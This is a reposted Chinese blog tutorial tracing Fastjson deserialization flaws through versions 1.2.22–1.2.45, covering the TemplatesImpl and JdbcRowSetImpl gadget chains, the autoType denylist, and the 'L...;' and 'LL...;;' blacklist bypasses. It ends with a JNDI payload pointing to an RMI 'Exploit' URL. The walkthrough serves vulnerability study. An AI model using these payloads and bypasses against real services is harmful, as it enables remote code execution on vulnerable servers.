转载

FastJson 反序列化学习

主要是本次某*行动,据传闻有个fastjson的0day,我就很好奇,刚好自己之前没有学习过这个东西,所以蹭着这个时间把这个学习一下。

0x02 分析过程

什么是fastjson

Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。最早的通告在 这里 。而fastjson的用法可以先看看下面这个例子。

先定义一个User类

package com.l1nk3r.fastjson;

public class User {
private String name;
private int age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
}
package com.l1nk3r.fastjson;

import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.l1nk3r.fastjson.User;
public class Testfastjson {

public static void main(String[] args){
Map<String, Object> map = new HashMap<String, Object>();
map.put("key1","One");
map.put("key2", "Two");
String mapJson = JSON.toJSONString(map);
System.out.println(mapJson);

User user1 = new User();
user1.setUsername("xiaoming");
user1.setSex("male");
System.out.println("obj name:"+user1.getClass().getName());

//序列化
String serializedStr = JSON.toJSONString(user1);
System.out.println("serializedStr="+serializedStr);

String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);

//通过parse方法进行反序列化
User user2 = (User)JSON.parse(serializedStr1);
System.out.println(user2.getUsername());
System.out.println();

//通过parseObject方法进行反序列化  通过这种方法返回的是一个JSONObject
Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println("obj name:"+obj.getClass().getName()+"/n");

//通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
System.out.println(obj1);
System.out.println("obj1 name:"+obj1.getClass().getName());

}
}

结果如下所示:

{"key1":"One","key2":"Two"}
obj name:com.l1nk3r.fastjson.User
serializedStr={"Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
serializedStr1={"@type":"com.l1nk3r.fastjson.User","Sex":"male","Username":"xiaoming","sex":"male","username":"xiaoming"}
xiaoming

{"Username":"xiaoming","Sex":"male","sex":"male","username":"xiaoming"}
obj name:com.alibaba.fastjson.JSONObject

com.l1nk3r.fastjson.User@1b9e1916
obj1 name:com.l1nk3r.fastjson.User

FastJson利用 toJSONString 方法来序列化对象,而反序列化还原回 Object 的方法,主要的API有两个,分别是 JSON.parseObjectJSON.parse ,最主要的区别就是前者返回的是 JSONObject 而后者返回的是实际类型的对象,当在没有对应类的定义的情况下,通常情况下都会使用 JSON.parseObject 来获取数据。

我们可以看到使用 SerializerFeature.WriteClassName 时会在序列化中写入当前的type, @type 可以指定反序列化任意类,调用其set,get,is方法。而问题恰恰出现在了这个特性,我们可以配合一些存在问题的类,然后继续操作,造成RCE的问题,我们可以看下面这个例子通过指定 @type ,成功获取了相关数据。

package com.l1nk3r.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
public static void main(String[] args) {
String myJSON = "{/"@type/":/"User/",/"Username/":/"l1nk3r/",/"Sex/":/"male/"}";
JSONObject u3 = JSON.parseObject(myJSON);
System.out.println("result => " + u3.get("Username"));
}
}

结果

result => l1nk3r

fastjson 1.22-1.24

之前关于这个漏洞流传的poc基本上都是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp 这个类。而这个类在7u21的反序列化 gadget 过程中,也出现过,这样来看还是需要详细跟一下,在反序列化,下面这行代码位置下个断点。

Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

FastJson 反序列化学习

然后便进入 com.alibaba.fastjson.JSON 这个类中,并使用 parser.parseObjec 来解析我们传入的数据。

FastJson 反序列化学习

继续跟进,来到了 com.alibaba.fastjson.parser.DefaultJSONParser 这个类中,调用了derializer.deserialze来解析传入的数据。

FastJson 反序列化学习

由于 deserialze 是一个接口,前面的序列化方法类是 com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze

FastJson 反序列化学习

因此这里自然继续跟入之后会来到这个com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer类中进行相关操作,而这里有这么一段代码。

else {
return type instanceof Class && type != Object.class && type != Serializable.class ? parser.parseObject(type) : parser.parse(fieldName);
}

这段代码又重新回到了 com.alibaba.fastjson.parser.DefaultJSONParser 这个类中,并且调用parseObject方法来处理我们传入的数据。

FastJson 反序列化学习

这个 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 有说法,我们可以慢慢来看。

FastJson 反序列化学习

首先我们传入的 text 的值是我们构造好的 payload ,而token是等于12,根据这里if选择,理论上应该是要进入值为12的选择进行处理,所里这种情况下,自然就进入了最后一个else进行了处理。这里开始会针对我们text里面的特殊符号进行一个处理判断( lexer.skipWhitespace ),而 skipWhitespace 实现就是下面这部分代码。

public final void skipWhitespace() {
while(true) {
while(true) {
if (this.ch <= '/') {
if (this.ch == ' ' || this.ch == '/r' || this.ch == '/n' || this.ch == '/t' || this.ch == '/f' || this.ch == '/b') {
this.next();
continue;
}

if (this.ch == '/') {
this.skipComment();
continue;
}
}

return;

所以这里的ch结果是 " ,于是便进入下图代码中进行处理。

FastJson 反序列化学习

而部分代码需要关注的就是这一行。

FastJson 反序列化学习

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol 其实也是一个根据特殊符号进行选择,然后进入相应的位置进行处理的,我们可以看到当前的 chLocal@ 符号,而 quote" 符号。

FastJson 反序列化学习

由于我们的@type是通过两个 " 闭合的,这部分while循环一直遍历到@type后面的 " 时候,自然就进入这个相等的if进行处理。

FastJson 反序列化学习

经过这一系列的处理之后, com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol 的返回结果自然是 @type

FastJson 反序列化学习

也就是我们最开始时候key的结果是 @type ,而继续往下自然进入到了这里。

FastJson 反序列化学习

而根据前面的分析,我们知道scanSymbol方法会遍历 " 内的数据,当数据一样的时候,就会直接放回value的结果,经过处理之后,这里的clazz的结果自然是我们需要的那个rce的触发类。

FastJson 反序列化学习

我们前面说过由于 deserialze 是一个接口,前面的序列化方法类是 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze ,而传入的clazz正是我们想要实例化的一个利用类。

FastJson 反序列化学习

我们详细看看 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze 是如何处理的,进来之后,token是16,而text正是我们传入的值。

FastJson 反序列化学习

经过处理这里会调用 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField 方法,

boolean match = this.parseField(parser, key, object, type, fieldValues);

跟进这个方法,这个方法首先会调用smartMatch方法来处理我们传入的key值,而这里的key值就是我们json中的那些字段,比如: _outputProperties_name_bytecodes 等。

FastJson 反序列化学习

这个方法的主要作用是进行一些『智能匹配』,方便后续获取对应变量的getter和setter。调用后这个方法会去掉字符串中的-、删除开头的下划线等,所以当我们传入了 _bytecodes 的时候,实际上就给处理成了 bytecodes ,并返回对应的FieldDeserializer对象。

FastJson 反序列化学习

而经过处理之后,这里的parseField也是一个接口,根据前面流程,这里的parseField进入的是会调用 com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField 方法来进行处理。

lexer.nextTokenWithColon(((FieldDeserializer)fieldDeserializer).getFastMatchToken());
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);
return true;

FastJson 反序列化学习

这里 fieldValueDeserilizer 的对象是 ObjectArrayCodec ,所以这里自然会进入 com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray

FastJson 反序列化学习

而在 com.alibaba.fastjson.serializer.ObjectArrayCodec#parseArray 中,所以这里又会调用 com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

FastJson 反序列化学习

而在 fastjson 在处理 [B 类型的数组时,会调用 lexer.bytesValue() ,其中的lexer对应的内容就是JSONScanner。

FastJson 反序列化学习

而这个bytesValue()方法会自动帮我们执行一次base64解码。

public byte[] bytesValue() {
return IOUtils.decodeBase64(this.text, this.np + 1, this.sp);
}

然后最后会在 com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer 中,通过setValue方式将value赋值给我们要执行的特殊类。

FastJson 反序列化学习

当处理 _OutputProperties 时也先会将 _ 去掉,然后调用该属性的get方法: getOutputProperties()

FastJson 反序列化学习

然后回到用method.invoke通过反射的方式实例化我们的要调用的类。

FastJson 反序列化学习

我们可以看这部分的反射调用链,很明显了。

FastJson 反序列化学习

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties 中调用了 newTransformer

public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

继续跟进 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer 中调用了 getTransletInstance

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

首先在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance 方法中 _name 不能为空,然后这里会调用 defineTransletClassess 来处理传入的class对象。

FastJson 反序列化学习

defineTransletClassess 中,这里会调用 defineClass 进行处理,我们可以看到这里解析的class的name正是我们POC中构造的com.l1nk3r.fastjson.Test类。

FastJson 反序列化学习

然后会判断这个类的父类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

FastJson 反序列化学习

所以这也是为什么我们要在POC构造的过程中继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

FastJson 反序列化学习

然后会调用 newInstance ,实力化我们的传入解析的那个class对象。

FastJson 反序列化学习

然后自然就可以rce了。

FastJson 反序列化学习

这是一个调用链。

exec:347, Runtime (java.lang)
<init>:13, Test (com.l1nk3r.fastjson)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:80, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:722, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:568, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:187, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:183, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
test_autoTypeDeny:44, Poc (com.l1nk3r.fastjson)
main:50, Poc (com.l1nk3r.fastjson)

POC

@type

指定的解析类,即 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl ,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中, _bytecodes_name 都是私有属性,所以要想反序列化这两个,需要在 parseObject() 时设置 Feature.SupportNonPublicField

_bytecodes

是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串

_outputProperties

漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行

_tfactory:{}

在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值

_bytecodes 而生成类的实例,再者因为传进去的参数都会经过 key.replaceAll("/_", ""); 处理,所以使用 _OutputProperties 参数最终会调用 getOutputProperties() 方法进而触发后面的利用链。

关于FastJson的解析过程分析

package com.l1nk3r.fastjson;

import java.util.Properties;

public class Person {
public String name;
private int age;
private Boolean sex;
private Properties prop;

public Person(){
System.out.println("User()");
}
public void setAge(int age){
System.out.println("setAge()");
this.age = age;
}

public Boolean getSex(){
System.out.println("getSex()");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp()");
return this.prop;
}
public String toString() {
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
}
package com.l1nk3r.fastjson;

import com.alibaba.fastjson.JSON;

public class TestPerson {
public static void main(String[] args){
String eneity3 = "{/"@type/":/"com.l1nk3r.fastjson.Person/", /"name/":/"Tom/", /"age/": 13, /"prop/": {}, /"sex/": 1}";
Object obj = JSON.parseObject(eneity3,Person.class);
System.out.println(obj);
}
}

输出结果如下:

User()
setAge()
getProp()
[User Object] name=Tom, age=13, prop=null, sex=null

我们可以看到

public修饰的name被序列化
private修饰的age 反序列化成功  setter函数被调用        
private修饰的sex 未被反序列化  getter函数没有被调用        
private修饰的prop 没有被反序列化 但是getter函数被调用

这里的sex与prop都为private变量,且都无setter方法,但是prop的getter函数被调用,sex的没有,所以我们看看源码,核心在 com.alibaba.fastjson.util.JavaBeanInfo ,该类会区分情况进行处理,会将满足条件的方法添加到fieldList列表当中供后面的反序列化操作进行调用。

FastJson 反序列化学习

满足条件的setter:

方法名长度大于4且以set开头
非静态函数        
返回类型为void或当前类
参数个数为1个

满足条件的getter:

方法名长度大于等于4        
非静态方法
以get开头且第4个字母为大写
无参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

我们上面例子中的 getProp() 返回类型为 Properties ,而 Properties extends Hashtable ,而 Hashtable implements Map ,所以 getProp() 会被调用而 getsex() 没有,那么当该get方法中存在一些危险操作的调用链,就会造成任意命令执行。

FastJson 反序列化学习

补丁

补丁中增加了checkAutoType构造方法,并且限制了黑名单和白名单。

FastJson 反序列化学习

黑名单主要由这些

private String[]                                        denyList        = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

小结

关于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp 这个利用链,默认情况下fastjson只会反序列化public的方法和属性,而我们构造的PoC中有private的成员变量 _bytecodes_name ,为了给这些变量赋值,则必须要服务端开启了SupportNonPublicField功能。

总结下就是Fastjson反序列化jsonStr时:

parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()                            
parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()                    
parseObject(jsonStr,*.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

几种bypass方法

v1.2.41

方法:

Lcom.sun.rowset.JdbcRowSetImpl;

详细看看

首先经过补丁修复之后,会在 com.alibaba.fastjson.parser.DefaultJSONParser 中调用 checkAutoType 来检查我们传入的类是不是在黑名单中,我们构造的这个类自然不在这个黑名单中,所以自然就过了这部分的检测。

FastJson 反序列化学习

上面一系列流程跟完之后,会进入到这么一行代码

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

而loadClass方法的作用是将开头的 L 和结尾的 ; 去除。

FastJson 反序列化学习

然后自然就返回了我们想要的对象。

FastJson 反序列化学习

FastJson 反序列化学习

然后核心的处理流程其实和之前的实例化这个类的过程一样。

setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:742, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1240, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:370, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1335, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1301, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
testJdbcRowSetImpl:17, OtherPOC (com.l1nk3r.fastjson)
main:9, OtherPOC (com.l1nk3r.fastjson)

这里我关心的是为什么 com.sun.rowset.JdbcRowSetImpl 这个方法能够导致触发RCE的问题,因为传入 dataSourceName ,先调用其setter方法。

FastJson 反序列化学习

传入了 autoCommit:true ,所以反序列化时会调用 setAutoCommit()

FastJson 反序列化学习

跟进connect方法,这里的getDataSoureceName返回的是dataSource,因此结果自然是我们传入的dataSource的值。

FastJson 反序列化学习

V1.2.42

补丁

补丁中采用黑名单的方式来deny类。

FastJson 反序列化学习

然后移除开头的 L 和结尾的 ;

FastJson 反序列化学习

绕过

LLcom.sun.rowset.JdbcRowSetImpl;;

FastJson 反序列化学习

V1.2.43

补丁

补丁中遇到typeName为 LL…;; ,便会抛出异常然后退出。

FastJson 反序列化学习

绕过

[com.sun.rowset.JdbcRowSetImpl

因为我们最早看到loadclass会去掉的不仅仅是 L; ,还有 [ ,但是实际测试下来无法成功。

FastJson 反序列化学习

v1.2.45

POC:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

原因:

黑名单绕过

补丁:

黑名单扩展

FastJson 反序列化学习

原文  http://www.lmxspace.com/2019/06/29/FastJson-反序列化学习/
正文到此结束
Loading...